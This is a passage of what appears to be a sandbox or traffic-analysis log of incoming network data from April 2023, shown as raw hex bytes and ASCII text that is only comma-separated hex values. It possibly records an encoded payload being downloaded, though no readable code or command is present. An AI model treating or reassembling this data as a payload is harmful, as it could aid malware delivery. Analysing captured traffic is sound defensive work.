2023-04-20 23:05:12 UTC	14413	IN	Data Raw: 61 2c 31 31 66 2c 39 36 2c 39 65 2c 37 33 2c 31 30 36 2c 35 34 2c 64 38 2c 31 35 33 2c 39 36 2c 65 30 2c 61 34 2c 31 33 63 2c 31 31 61 2c 36 65 2c 66 32 2c 66 30 2c 39 62 2c 63 64 2c 62 33 2c 31 31 30 2c 65 36 2c 66 66 2c 31 32 62 2c 65 31 2c 31 31 64 2c 31 32 32 2c 65 31 2c 31 30 31 2c 37 61 2c 31 33 35 2c 31 34 62 2c 31 30 33 2c 65 64 2c 66 37 2c 62 30 2c 31 32 32 2c 64 35 2c 38 33 2c 31 34 33 2c 31 35 34 2c 66 32 2c 63 39 2c 31 36 66 2c 62 33 2c 37 39 2c 31 33 31 2c 37 34 2c 62 62 2c 64 39 2c 31 31 61 2c 31 31 36 2c 62 31 2c 64 35 2c 66 38 2c 39 34 2c 39 66 2c 62 31 2c 61 64 2c 62 30 2c 63 35 2c 31 35 34 2c 61 64 2c 61 34 2c 61 38 2c 63 61 2c 34 64 2c 63 37 2c 65 35 2c 66 66 2c 39 36 2c 31 36 36 2c 31 30 36 2c 31 36 33 2c 64 33 2c 31 34 37 2c 65 37 2c Data Ascii: a,11f,96,9e,73,106,54,d8,153,96,e0,a4,13c,11a,6e,f2,f0,9b,cd,b3,110,e6,ff,12b,e1,11d,122,e1,101,7a,135,14b,103,ed,f7,b0,122,d5,83,143,154,f2,c9,16f,b3,79,131,74,bb,d9,11a,116,b1,d5,f8,94,9f,b1,ad,b0,c5,154,ad,a4,a8,ca,4d,c7,e5,ff,96,166,106,163,d3,147,e7,
2023-04-20 23:05:12 UTC	14429	IN	Data Raw: 33 30 2c 36 64 2c 65 33 2c 31 32 61 2c 65 33 2c 31 30 34 2c 34 61 2c 31 36 63 2c 31 35 63 2c 38 33 2c 35 30 2c 38 33 2c 31 35 62 2c 66 32 2c 31 32 36 2c 36 32 2c 65 65 2c 35 34 2c 35 61 2c 35 66 2c 31 33 38 2c 31 33 31 2c 31 32 39 2c 31 32 61 2c 31 30 38 2c 37 66 2c 31 33 37 2c 66 39 2c 31 35 33 2c 66 61 2c 62 34 2c 66 61 2c 63 39 2c 31 30 65 2c 64 64 2c 62 35 2c 36 36 2c 31 36 37 2c 62 30 2c 31 31 37 2c 31 34 62 2c 31 31 66 2c 31 31 38 2c 31 32 61 2c 31 31 30 2c 35 39 2c 39 37 2c 34 36 2c 31 30 38 2c 31 32 31 2c 39 63 2c 31 32 65 2c 31 32 65 2c 31 35 38 2c 61 64 2c 64 30 2c 65 62 2c 31 31 62 2c 31 31 32 2c 62 39 2c 31 34 64 2c 64 65 2c 62 37 2c 39 35 2c 31 34 37 2c 31 31 65 2c 31 33 33 2c 31 30 63 2c 37 35 2c 63 63 2c 31 30 62 2c 31 30 35 2c 63 33 2c 31 Data Ascii: 30,6d,e3,12a,e3,104,4a,16c,15c,83,50,83,15b,f2,126,62,ee,54,5a,5f,138,131,129,12a,108,7f,137,f9,153,fa,b4,fa,c9,10e,dd,b5,66,167,b0,117,14b,11f,118,12a,110,59,97,46,108,121,9c,12e,12e,158,ad,d0,eb,11b,112,b9,14d,de,b7,95,147,11e,133,10c,75,cc,10b,105,c3,1
2023-04-20 23:05:12 UTC	14445	IN	Data Raw: 65 2c 62 30 2c 31 34 31 2c 61 63 2c 36 63 2c 31 30 63 2c 65 33 2c 37 62 2c 61 35 2c 31 33 61 2c 31 30 63 2c 62 64 2c 64 31 2c 33 64 2c 64 32 2c 31 31 34 2c 64 37 2c 62 66 2c 31 31 39 2c 64 38 2c 64 32 2c 64 65 2c 31 33 32 2c 31 32 34 2c 31 34 62 2c 31 30 66 2c 38 30 2c 39 38 2c 65 37 2c 31 35 65 2c 31 33 34 2c 64 34 2c 31 32 38 2c 35 39 2c 61 39 2c 31 30 31 2c 31 31 34 2c 38 34 2c 65 37 2c 36 35 2c 31 33 65 2c 63 65 2c 31 31 36 2c 66 38 2c 31 33 63 2c 31 31 34 2c 65 32 2c 39 35 2c 39 36 2c 39 66 2c 31 34 65 2c 31 34 37 2c 31 31 32 2c 65 64 2c 64 32 2c 37 65 2c 31 34 36 2c 31 30 64 2c 36 64 2c 65 61 2c 63 30 2c 37 35 2c 31 34 38 2c 33 61 2c 31 32 39 2c 66 62 2c 31 31 30 2c 61 30 2c 39 31 2c 31 32 62 2c 39 65 2c 66 33 2c 31 34 32 2c 62 30 2c 66 65 2c 31 32 Data Ascii: e,b0,141,ac,6c,10c,e3,7b,a5,13a,10c,bd,d1,3d,d2,114,d7,bf,119,d8,d2,de,132,124,14b,10f,80,98,e7,15e,134,d4,128,59,a9,101,114,84,e7,65,13e,ce,116,f8,13c,114,e2,95,96,9f,14e,147,112,ed,d2,7e,146,10d,6d,ea,c0,75,148,3a,129,fb,110,a0,91,12b,9e,f3,142,b0,fe,12
2023-04-20 23:05:12 UTC	14461	IN	Data Raw: 31 30 65 2c 31 31 38 2c 31 31 61 2c 31 32 34 2c 65 62 2c 31 33 35 2c 61 33 2c 63 34 2c 61 66 2c 38 62 2c 39 35 2c 31 34 39 2c 65 30 2c 31 32 36 2c 66 65 2c 66 33 2c 36 39 2c 66 36 2c 31 34 65 2c 61 33 2c 36 63 2c 65 31 2c 66 31 2c 62 34 2c 34 63 2c 66 31 2c 61 62 2c 31 30 65 2c 31 32 63 2c 62 31 2c 37 66 2c 65 38 2c 65 34 2c 65 63 2c 35 38 2c 65 61 2c 39 63 2c 31 31 30 2c 61 37 2c 31 32 66 2c 61 34 2c 31 30 66 2c 65 34 2c 37 33 2c 31 31 37 2c 31 31 65 2c 62 32 2c 31 32 30 2c 62 37 2c 31 30 36 2c 64 62 2c 31 33 38 2c 62 30 2c 61 34 2c 36 31 2c 31 30 65 2c 66 63 2c 31 32 62 2c 31 34 39 2c 31 32 37 2c 31 32 39 2c 34 62 2c 38 66 2c 31 30 33 2c 66 32 2c 37 62 2c 31 34 63 2c 64 30 2c 64 62 2c 37 65 2c 35 36 2c 31 31 32 2c 65 30 2c 38 64 2c 31 30 35 2c 61 35 2c Data Ascii: 10e,118,11a,124,eb,135,a3,c4,af,8b,95,149,e0,126,fe,f3,69,f6,14e,a3,6c,e1,f1,b4,4c,f1,ab,10e,12c,b1,7f,e8,e4,ec,58,ea,9c,110,a7,12f,a4,10f,e4,73,117,11e,b2,120,b7,106,db,138,b0,a4,61,10e,fc,12b,149,127,129,4b,8f,103,f2,7b,14c,d0,db,7e,56,112,e0,8d,105,a5,
2023-04-20 23:05:12 UTC	14477	IN	Data Raw: 31 36 36 2c 63 39 2c 65 32 2c 65 31 2c 62 35 2c 37 32 2c 37 65 2c 31 30 32 2c 66 33 2c 31 33 31 2c 64 35 2c 65 65 2c 65 38 2c 31 33 61 2c 65 35 2c 34 61 2c 38 32 2c 31 32 62 2c 62 39 2c 37 35 2c 39 37 2c 65 31 2c 31 34 37 2c 34 39 2c 31 31 35 2c 37 30 2c 64 66 2c 37 32 2c 65 38 2c 31 32 30 2c 39 32 2c 36 36 2c 31 35 32 2c 31 31 39 2c 62 65 2c 36 38 2c 65 33 2c 31 30 33 2c 62 66 2c 31 33 62 2c 35 38 2c 31 31 63 2c 61 35 2c 63 39 2c 31 30 64 2c 39 61 2c 31 32 36 2c 31 30 65 2c 31 33 31 2c 63 35 2c 66 62 2c 31 32 35 2c 31 33 64 2c 31 32 65 2c 39 66 2c 33 61 2c 39 33 2c 64 37 2c 62 31 2c 31 30 33 2c 31 32 39 2c 65 33 2c 36 64 2c 31 34 31 2c 39 35 2c 63 62 2c 66 64 2c 36 61 2c 36 66 2c 61 34 2c 31 32 38 2c 39 35 2c 31 33 30 2c 31 32 30 2c 31 31 38 2c 31 30 30 Data Ascii: 166,c9,e2,e1,b5,72,7e,102,f3,131,d5,ee,e8,13a,e5,4a,82,12b,b9,75,97,e1,147,49,115,70,df,72,e8,120,92,66,152,119,be,68,e3,103,bf,13b,58,11c,a5,c9,10d,9a,126,10e,131,c5,fb,125,13d,12e,9f,3a,93,d7,b1,103,129,e3,6d,141,95,cb,fd,6a,6f,a4,128,95,130,120,118,100
2023-04-20 23:05:12 UTC	14493	IN	Data Raw: 38 31 2c 31 31 64 2c 63 37 2c 66 61 2c 39 35 2c 64 37 2c 31 33 33 2c 31 32 39 2c 39 31 2c 31 35 30 2c 36 63 2c 63 63 2c 65 37 2c 66 31 2c 37 30 2c 31 31 39 2c 61 34 2c 64 31 2c 37 66 2c 31 32 66 2c 66 39 2c 39 35 2c 65 63 2c 31 30 35 2c 63 30 2c 65 30 2c 31 35 38 2c 64 31 2c 36 38 2c 65 39 2c 65 66 2c 31 34 36 2c 31 31 66 2c 31 34 61 2c 31 35 33 2c 31 34 63 2c 65 65 2c 31 33 31 2c 31 33 62 2c 31 30 64 2c 31 36 33 2c 31 34 33 2c 61 61 2c 31 30 38 2c 62 64 2c 39 32 2c 37 31 2c 62 66 2c 64 31 2c 31 33 35 2c 31 30 66 2c 66 63 2c 31 31 33 2c 31 35 30 2c 36 35 2c 31 31 36 2c 37 30 2c 62 31 2c 31 30 66 2c 36 31 2c 35 36 2c 37 66 2c 37 39 2c 38 63 2c 64 61 2c 31 30 36 2c 31 30 33 2c 62 34 2c 66 33 2c 66 34 2c 35 62 2c 65 63 2c 31 34 39 2c 36 32 2c 38 66 2c 35 36 Data Ascii: 81,11d,c7,fa,95,d7,133,129,91,150,6c,cc,e7,f1,70,119,a4,d1,7f,12f,f9,95,ec,105,c0,e0,158,d1,68,e9,ef,146,11f,14a,153,14c,ee,131,13b,10d,163,143,aa,108,bd,92,71,bf,d1,135,10f,fc,113,150,65,116,70,b1,10f,61,56,7f,79,8c,da,106,103,b4,f3,f4,5b,ec,149,62,8f,56
2023-04-20 23:05:12 UTC	14509	IN	Data Raw: 31 34 61 2c 31 35 32 2c 33 39 2c 31 34 36 2c 31 32 30 2c 64 65 2c 38 61 2c 37 38 2c 62 36 2c 34 38 2c 36 39 2c 61 34 2c 66 63 2c 63 36 2c 65 38 2c 63 65 2c 65 64 2c 66 37 2c 31 34 32 2c 62 36 2c 38 35 2c 35 30 2c 66 32 2c 64 37 2c 31 30 33 2c 39 66 2c 63 39 2c 66 30 2c 31 32 63 2c 31 32 36 2c 31 31 39 2c 63 30 2c 31 33 34 2c 31 34 39 2c 61 63 2c 31 33 37 2c 37 30 2c 31 37 33 2c 31 33 61 2c 39 64 2c 38 36 2c 35 62 2c 66 39 2c 31 31 33 2c 63 65 2c 31 31 64 2c 31 36 36 2c 39 64 2c 31 32 62 2c 31 31 65 2c 31 33 36 2c 31 32 63 2c 37 65 2c 64 38 2c 31 34 32 2c 61 63 2c 36 34 2c 63 65 2c 37 39 2c 31 33 39 2c 63 33 2c 31 31 62 2c 39 35 2c 31 31 32 2c 66 36 2c 66 34 2c 61 31 2c 65 32 2c 31 32 33 2c 63 62 2c 38 65 2c 38 64 2c 36 34 2c 39 62 2c 66 33 2c 39 34 2c 36 Data Ascii: 14a,152,39,146,120,de,8a,78,b6,48,69,a4,fc,c6,e8,ce,ed,f7,142,b6,85,50,f2,d7,103,9f,c9,f0,12c,126,119,c0,134,149,ac,137,70,173,13a,9d,86,5b,f9,113,ce,11d,166,9d,12b,11e,136,12c,7e,d8,142,ac,64,ce,79,139,c3,11b,95,112,f6,f4,a1,e2,123,cb,8e,8d,64,9b,f3,94,6
2023-04-20 23:05:12 UTC	14525	IN	Data Raw: 62 2c 64 35 2c 39 34 2c 64 32 2c 38 64 2c 66 63 2c 39 33 2c 31 35 31 2c 62 30 2c 31 32 61 2c 65 63 2c 31 30 31 2c 61 65 2c 38 36 2c 61 33 2c 65 38 2c 37 62 2c 37 34 2c 31 32 36 2c 65 65 2c 39 31 2c 36 62 2c 31 32 33 2c 63 63 2c 62 35 2c 61 37 2c 64 38 2c 31 30 35 2c 64 33 2c 64 30 2c 31 31 34 2c 64 34 2c 31 30 36 2c 31 30 34 2c 37 64 2c 31 32 62 2c 65 65 2c 61 33 2c 36 63 2c 31 32 32 2c 38 32 2c 38 33 2c 65 39 2c 64 33 2c 66 61 2c 63 39 2c 66 66 2c 35 65 2c 37 66 2c 31 32 66 2c 65 39 2c 31 32 36 2c 31 32 31 2c 61 63 2c 63 31 2c 36 35 2c 31 30 38 2c 63 35 2c 39 36 2c 64 36 2c 31 31 61 2c 31 31 37 2c 31 32 36 2c 62 33 2c 31 30 32 2c 37 33 2c 61 66 2c 31 35 31 2c 38 33 2c 31 32 66 2c 31 30 66 2c 65 32 2c 39 62 2c 64 33 2c 31 31 32 2c 31 31 31 2c 64 34 2c 61 Data Ascii: b,d5,94,d2,8d,fc,93,151,b0,12a,ec,101,ae,86,a3,e8,7b,74,126,ee,91,6b,123,cc,b5,a7,d8,105,d3,d0,114,d4,106,104,7d,12b,ee,a3,6c,122,82,83,e9,d3,fa,c9,ff,5e,7f,12f,e9,126,121,ac,c1,65,108,c5,96,d6,11a,117,126,b3,102,73,af,151,83,12f,10f,e2,9b,d3,112,111,d4,a
2023-04-20 23:05:13 UTC	14541	IN	Data Raw: 2c 31 33 37 2c 39 39 2c 39 36 2c 37 62 2c 31 33 34 2c 64 64 2c 31 33 62 2c 61 33 2c 64 34 2c 35 33 2c 66 61 2c 31 32 31 2c 39 63 2c 31 31 38 2c 65 66 2c 64 33 2c 36 62 2c 61 34 2c 35 31 2c 66 39 2c 37 66 2c 31 34 64 2c 31 31 62 2c 38 39 2c 64 65 2c 36 65 2c 61 62 2c 31 32 32 2c 39 32 2c 31 30 66 2c 37 64 2c 64 36 2c 66 61 2c 66 66 2c 63 64 2c 31 32 35 2c 64 37 2c 37 31 2c 31 32 39 2c 37 31 2c 31 33 64 2c 63 64 2c 35 39 2c 66 62 2c 64 31 2c 38 32 2c 39 37 2c 64 62 2c 61 63 2c 38 35 2c 38 32 2c 62 37 2c 31 32 31 2c 31 30 63 2c 37 66 2c 39 65 2c 66 62 2c 34 64 2c 31 33 64 2c 37 39 2c 39 62 2c 37 36 2c 63 34 2c 31 32 31 2c 65 34 2c 31 31 64 2c 31 32 37 2c 31 35 37 2c 38 30 2c 63 64 2c 39 64 2c 39 61 2c 61 36 2c 66 35 2c 62 65 2c 31 37 37 2c 31 34 39 2c 37 31 Data Ascii: ,137,99,96,7b,134,dd,13b,a3,d4,53,fa,121,9c,118,ef,d3,6b,a4,51,f9,7f,14d,11b,89,de,6e,ab,122,92,10f,7d,d6,fa,ff,cd,125,d7,71,129,71,13d,cd,59,fb,d1,82,97,db,ac,85,82,b7,121,10c,7f,9e,fb,4d,13d,79,9b,76,c4,121,e4,11d,127,157,80,cd,9d,9a,a6,f5,be,177,149,71
2023-04-20 23:05:13 UTC	14557	IN	Data Raw: 2c 31 31 30 2c 64 30 2c 31 30 61 2c 31 33 37 2c 31 31 35 2c 31 34 61 2c 38 65 2c 31 34 37 2c 31 33 61 2c 36 39 2c 61 62 2c 34 37 2c 31 32 64 2c 31 33 39 2c 35 33 2c 31 32 32 2c 62 34 2c 31 34 62 2c 35 31 2c 66 36 2c 31 35 30 2c 34 66 2c 63 33 2c 31 30 63 2c 37 66 2c 36 30 2c 31 34 32 2c 31 30 33 2c 31 33 30 2c 36 39 2c 31 32 33 2c 31 34 66 2c 37 38 2c 64 66 2c 37 39 2c 64 39 2c 31 30 33 2c 31 32 61 2c 31 34 66 2c 38 31 2c 31 30 36 2c 62 32 2c 31 32 30 2c 36 38 2c 66 66 2c 63 64 2c 64 30 2c 64 38 2c 62 65 2c 62 30 2c 31 31 30 2c 65 64 2c 38 66 2c 33 37 2c 66 35 2c 61 33 2c 31 37 32 2c 66 62 2c 36 34 2c 38 62 2c 31 32 65 2c 37 30 2c 34 63 2c 31 30 33 2c 62 38 2c 31 33 34 2c 64 31 2c 65 31 2c 35 39 2c 31 32 61 2c 31 37 32 2c 31 35 61 2c 65 63 2c 36 32 2c 35 Data Ascii: ,110,d0,10a,137,115,14a,8e,147,13a,69,ab,47,12d,139,53,122,b4,14b,51,f6,150,4f,c3,10c,7f,60,142,103,130,69,123,14f,78,df,79,d9,103,12a,14f,81,106,b2,120,68,ff,cd,d0,d8,be,b0,110,ed,8f,37,f5,a3,172,fb,64,8b,12e,70,4c,103,b8,134,d1,e1,59,12a,172,15a,ec,62,5
2023-04-20 23:05:13 UTC	14573	IN	Data Raw: 37 38 2c 31 30 31 2c 31 34 30 2c 65 31 2c 63 36 2c 31 34 34 2c 62 39 2c 31 32 37 2c 31 32 36 2c 31 30 61 2c 31 33 32 2c 35 35 2c 37 39 2c 31 32 32 2c 62 63 2c 31 30 34 2c 36 35 2c 31 32 37 2c 31 32 31 2c 35 35 2c 31 31 33 2c 31 32 39 2c 65 37 2c 35 39 2c 35 37 2c 33 64 2c 61 37 2c 39 31 2c 62 64 2c 39 39 2c 66 39 2c 31 34 34 2c 64 30 2c 31 33 30 2c 39 36 2c 31 32 39 2c 31 33 63 2c 65 61 2c 31 33 66 2c 31 32 31 2c 34 38 2c 38 30 2c 36 65 2c 31 32 31 2c 36 66 2c 64 30 2c 37 33 2c 63 39 2c 63 64 2c 31 35 39 2c 31 32 61 2c 31 31 38 2c 31 33 31 2c 31 34 64 2c 61 66 2c 31 32 63 2c 39 66 2c 31 30 61 2c 37 30 2c 31 31 35 2c 31 31 66 2c 37 36 2c 31 31 64 2c 31 30 65 2c 62 39 2c 39 30 2c 31 32 35 2c 35 62 2c 66 38 2c 64 34 2c 31 30 61 2c 35 65 2c 37 61 2c 33 30 2c Data Ascii: 78,101,140,e1,c6,144,b9,127,126,10a,132,55,79,122,bc,104,65,127,121,55,113,129,e7,59,57,3d,a7,91,bd,99,f9,144,d0,130,96,129,13c,ea,13f,121,48,80,6e,121,6f,d0,73,c9,cd,159,12a,118,131,14d,af,12c,9f,10a,70,115,11f,76,11d,10e,b9,90,125,5b,f8,d4,10a,5e,7a,30,
2023-04-20 23:05:13 UTC	14589	IN	Data Raw: 34 2c 31 35 34 2c 63 62 2c 31 32 39 2c 65 32 2c 31 31 37 2c 31 32 66 2c 39 32 2c 31 34 34 2c 65 30 2c 62 35 2c 31 33 36 2c 31 32 39 2c 62 31 2c 33 61 2c 66 66 2c 31 33 32 2c 31 30 63 2c 31 33 30 2c 62 33 2c 64 62 2c 31 34 65 2c 65 62 2c 61 39 2c 64 31 2c 37 65 2c 31 31 39 2c 37 61 2c 31 31 31 2c 38 36 2c 66 31 2c 62 31 2c 39 39 2c 65 65 2c 61 63 2c 31 33 31 2c 39 33 2c 64 63 2c 64 30 2c 35 32 2c 62 62 2c 37 32 2c 64 36 2c 31 33 65 2c 64 64 2c 63 64 2c 35 36 2c 39 62 2c 31 31 36 2c 35 62 2c 63 31 2c 37 34 2c 66 38 2c 65 34 2c 35 33 2c 31 31 36 2c 38 30 2c 36 62 2c 63 33 2c 62 62 2c 39 39 2c 31 31 34 2c 63 61 2c 31 31 36 2c 31 35 30 2c 63 63 2c 31 35 61 2c 31 34 32 2c 31 32 31 2c 62 33 2c 31 32 36 2c 65 64 2c 61 38 2c 62 33 2c 62 36 2c 62 31 2c 38 63 2c 31 Data Ascii: 4,154,cb,129,e2,117,12f,92,144,e0,b5,136,129,b1,3a,ff,132,10c,130,b3,db,14e,eb,a9,d1,7e,119,7a,111,86,f1,b1,99,ee,ac,131,93,dc,d0,52,bb,72,d6,13e,dd,cd,56,9b,116,5b,c1,74,f8,e4,53,116,80,6b,c3,bb,99,114,ca,116,150,cc,15a,142,121,b3,126,ed,a8,b3,b6,b1,8c,1
2023-04-20 23:05:13 UTC	14605	IN	Data Raw: 30 2c 63 30 2c 37 32 2c 39 61 2c 62 30 2c 31 34 30 2c 31 30 39 2c 61 39 2c 36 37 2c 37 63 2c 31 33 35 2c 31 30 39 2c 61 64 2c 39 62 2c 31 32 63 2c 66 62 2c 31 35 63 2c 33 38 2c 66 35 2c 31 33 31 2c 38 33 2c 31 34 34 2c 66 66 2c 62 65 2c 63 31 2c 62 31 2c 31 30 31 2c 63 33 2c 39 35 2c 31 32 30 2c 35 36 2c 34 37 2c 62 65 2c 39 36 2c 36 31 2c 31 35 64 2c 36 39 2c 38 65 2c 34 30 2c 31 34 39 2c 62 63 2c 61 61 2c 31 34 34 2c 36 31 2c 39 36 2c 64 63 2c 35 31 2c 31 32 37 2c 39 36 2c 61 62 2c 36 34 2c 31 32 63 2c 64 35 2c 61 36 2c 31 35 35 2c 31 31 35 2c 38 33 2c 31 30 39 2c 39 37 2c 31 32 34 2c 31 34 35 2c 61 63 2c 39 30 2c 31 32 33 2c 62 65 2c 35 35 2c 64 35 2c 31 32 62 2c 31 31 66 2c 61 30 2c 64 33 2c 31 35 65 2c 31 33 33 2c 66 62 2c 38 30 2c 38 36 2c 61 61 2c Data Ascii: 0,c0,72,9a,b0,140,109,a9,67,7c,135,109,ad,9b,12c,fb,15c,38,f5,131,83,144,ff,be,c1,b1,101,c3,95,120,56,47,be,96,61,15d,69,8e,40,149,bc,aa,144,61,96,dc,51,127,96,ab,64,12c,d5,a6,155,115,83,109,97,124,145,ac,90,123,be,55,d5,12b,11f,a0,d3,15e,133,fb,80,86,aa,
2023-04-20 23:05:13 UTC	14621	IN	Data Raw: 2c 66 34 2c 64 65 2c 31 30 30 2c 62 35 2c 61 62 2c 36 63 2c 31 30 61 2c 31 31 38 2c 66 62 2c 38 30 2c 39 33 2c 31 30 66 2c 61 31 2c 31 30 32 2c 31 32 38 2c 31 32 66 2c 62 65 2c 65 34 2c 31 31 36 2c 31 30 34 2c 31 36 63 2c 61 36 2c 31 35 30 2c 62 31 2c 38 65 2c 33 65 2c 39 33 2c 65 62 2c 64 33 2c 31 35 63 2c 62 35 2c 65 30 2c 36 64 2c 38 39 2c 31 30 33 2c 65 36 2c 31 34 33 2c 38 65 2c 62 61 2c 62 32 2c 39 65 2c 63 32 2c 31 36 36 2c 35 33 2c 38 38 2c 31 31 38 2c 31 33 32 2c 31 35 64 2c 31 33 65 2c 37 33 2c 37 65 2c 39 38 2c 31 31 62 2c 37 39 2c 35 62 2c 39 37 2c 36 33 2c 66 34 2c 31 34 30 2c 31 32 62 2c 35 65 2c 31 31 63 2c 31 34 61 2c 63 65 2c 62 38 2c 62 32 2c 31 33 34 2c 38 66 2c 65 32 2c 38 37 2c 31 35 38 2c 31 32 37 2c 39 31 2c 39 30 2c 31 35 31 2c 63 Data Ascii: ,f4,de,100,b5,ab,6c,10a,118,fb,80,93,10f,a1,102,128,12f,be,e4,116,104,16c,a6,150,b1,8e,3e,93,eb,d3,15c,b5,e0,6d,89,103,e6,143,8e,ba,b2,9e,c2,166,53,88,118,132,15d,13e,73,7e,98,11b,79,5b,97,63,f4,140,12b,5e,11c,14a,ce,b8,b2,134,8f,e2,87,158,127,91,90,151,c
2023-04-20 23:05:13 UTC	14637	IN	Data Raw: 31 2c 31 30 65 2c 31 34 63 2c 31 35 34 2c 37 31 2c 65 35 2c 66 32 2c 31 35 32 2c 36 61 2c 31 33 65 2c 31 30 64 2c 36 35 2c 31 33 31 2c 31 31 64 2c 31 32 36 2c 31 33 39 2c 31 32 33 2c 35 66 2c 39 66 2c 31 36 62 2c 64 38 2c 31 34 31 2c 34 64 2c 31 36 62 2c 31 30 35 2c 31 30 33 2c 38 61 2c 66 31 2c 31 32 34 2c 65 35 2c 36 61 2c 62 34 2c 64 31 2c 31 30 62 2c 31 30 31 2c 31 32 37 2c 62 64 2c 31 31 38 2c 63 61 2c 31 33 35 2c 65 66 2c 37 65 2c 39 37 2c 31 34 61 2c 31 34 33 2c 35 61 2c 66 32 2c 66 30 2c 31 32 61 2c 63 32 2c 65 31 2c 61 64 2c 62 37 2c 61 31 2c 31 30 66 2c 38 61 2c 37 35 2c 35 66 2c 65 63 2c 64 38 2c 37 61 2c 39 39 2c 64 61 2c 31 33 33 2c 66 36 2c 39 66 2c 38 39 2c 31 30 39 2c 31 31 38 2c 38 64 2c 37 33 2c 38 36 2c 38 35 2c 31 31 34 2c 62 34 2c 31 Data Ascii: 1,10e,14c,154,71,e5,f2,152,6a,13e,10d,65,131,11d,126,139,123,5f,9f,16b,d8,141,4d,16b,105,103,8a,f1,124,e5,6a,b4,d1,10b,101,127,bd,118,ca,135,ef,7e,97,14a,143,5a,f2,f0,12a,c2,e1,ad,b7,a1,10f,8a,75,5f,ec,d8,7a,99,da,133,f6,9f,89,109,118,8d,73,86,85,114,b4,1
2023-04-20 23:05:13 UTC	14653	IN	Data Raw: 31 32 65 2c 38 61 2c 39 61 2c 31 34 31 2c 39 31 2c 36 36 2c 31 34 39 2c 62 39 2c 31 36 61 2c 37 62 2c 63 63 2c 39 30 2c 61 66 2c 66 30 2c 31 34 62 2c 64 61 2c 39 36 2c 61 39 2c 63 64 2c 31 30 30 2c 61 65 2c 31 33 37 2c 31 36 32 2c 66 61 2c 31 31 30 2c 65 35 2c 31 34 63 2c 62 62 2c 38 64 2c 63 39 2c 31 36 32 2c 31 31 30 2c 64 32 2c 63 34 2c 63 64 2c 31 32 34 2c 37 31 2c 33 39 2c 66 37 2c 31 34 66 2c 64 39 2c 31 30 32 2c 38 61 2c 31 32 36 2c 31 31 38 2c 35 38 2c 31 30 39 2c 61 64 2c 36 32 2c 64 62 2c 31 34 31 2c 31 33 62 2c 34 63 2c 31 36 33 2c 31 34 36 2c 61 63 2c 63 38 2c 31 32 34 2c 31 31 34 2c 64 66 2c 31 31 36 2c 31 32 64 2c 31 32 39 2c 65 35 2c 38 64 2c 35 66 2c 31 30 65 2c 31 35 66 2c 63 39 2c 31 30 63 2c 39 36 2c 36 30 2c 31 36 36 2c 31 33 38 2c 31 Data Ascii: 12e,8a,9a,141,91,66,149,b9,16a,7b,cc,90,af,f0,14b,da,96,a9,cd,100,ae,137,162,fa,110,e5,14c,bb,8d,c9,162,110,d2,c4,cd,124,71,39,f7,14f,d9,102,8a,126,118,58,109,ad,62,db,141,13b,4c,163,146,ac,c8,124,114,df,116,12d,129,e5,8d,5f,10e,15f,c9,10c,96,60,166,138,1
2023-04-20 23:05:13 UTC	14669	IN	Data Raw: 30 30 2c 38 62 2c 33 65 2c 31 33 65 2c 66 31 2c 61 38 2c 31 33 65 2c 31 33 64 2c 31 34 30 2c 66 66 2c 63 64 2c 34 33 2c 31 35 35 2c 31 33 35 2c 38 62 2c 62 38 2c 31 30 37 2c 31 32 64 2c 38 38 2c 62 35 2c 62 62 2c 38 39 2c 37 38 2c 39 65 2c 61 39 2c 31 30 35 2c 62 39 2c 37 63 2c 31 30 36 2c 31 32 34 2c 31 32 36 2c 31 30 30 2c 64 38 2c 65 37 2c 31 30 39 2c 31 35 30 2c 38 63 2c 61 66 2c 61 30 2c 31 31 61 2c 65 34 2c 31 31 33 2c 31 30 30 2c 38 62 2c 66 63 2c 34 39 2c 31 33 31 2c 36 39 2c 62 31 2c 31 34 35 2c 64 39 2c 38 30 2c 31 34 63 2c 63 38 2c 38 30 2c 61 62 2c 31 32 36 2c 31 33 30 2c 38 65 2c 37 37 2c 38 66 2c 62 66 2c 31 34 34 2c 39 33 2c 31 32 39 2c 31 33 62 2c 31 33 33 2c 31 34 63 2c 31 36 31 2c 35 62 2c 63 61 2c 65 64 2c 65 38 2c 66 39 2c 62 32 2c 65 Data Ascii: 00,8b,3e,13e,f1,a8,13e,13d,140,ff,cd,43,155,135,8b,b8,107,12d,88,b5,bb,89,78,9e,a9,105,b9,7c,106,124,126,100,d8,e7,109,150,8c,af,a0,11a,e4,113,100,8b,fc,49,131,69,b1,145,d9,80,14c,c8,80,ab,126,130,8e,77,8f,bf,144,93,129,13b,133,14c,161,5b,ca,ed,e8,f9,b2,e
2023-04-20 23:05:13 UTC	14685	IN	Data Raw: 35 34 2c 61 34 2c 31 31 64 2c 37 65 2c 61 36 2c 63 65 2c 31 35 64 2c 36 64 2c 39 66 2c 31 33 61 2c 61 38 2c 31 30 65 2c 31 32 37 2c 31 30 64 2c 31 31 33 2c 61 33 2c 31 30 30 2c 39 38 2c 65 61 2c 39 31 2c 31 31 61 2c 31 31 66 2c 63 63 2c 31 33 63 2c 65 63 2c 31 32 39 2c 64 62 2c 62 36 2c 31 32 31 2c 35 30 2c 38 33 2c 31 31 30 2c 31 32 36 2c 65 37 2c 38 35 2c 31 31 33 2c 31 34 30 2c 37 34 2c 31 32 30 2c 66 65 2c 39 31 2c 64 64 2c 36 64 2c 65 35 2c 63 65 2c 65 33 2c 31 32 36 2c 37 34 2c 31 33 35 2c 37 33 2c 31 32 64 2c 65 63 2c 63 33 2c 39 31 2c 31 30 61 2c 61 66 2c 31 31 63 2c 31 36 30 2c 31 30 31 2c 63 65 2c 31 33 66 2c 37 30 2c 37 38 2c 31 34 62 2c 31 30 37 2c 36 35 2c 31 33 66 2c 66 63 2c 66 62 2c 31 30 38 2c 37 65 2c 31 36 30 2c 34 35 2c 31 34 32 2c 37 Data Ascii: 54,a4,11d,7e,a6,ce,15d,6d,9f,13a,a8,10e,127,10d,113,a3,100,98,ea,91,11a,11f,cc,13c,ec,129,db,b6,121,50,83,110,126,e7,85,113,140,74,120,fe,91,dd,6d,e5,ce,e3,126,74,135,73,12d,ec,c3,91,10a,af,11c,160,101,ce,13f,70,78,14b,107,65,13f,fc,fb,108,7e,160,45,142,7
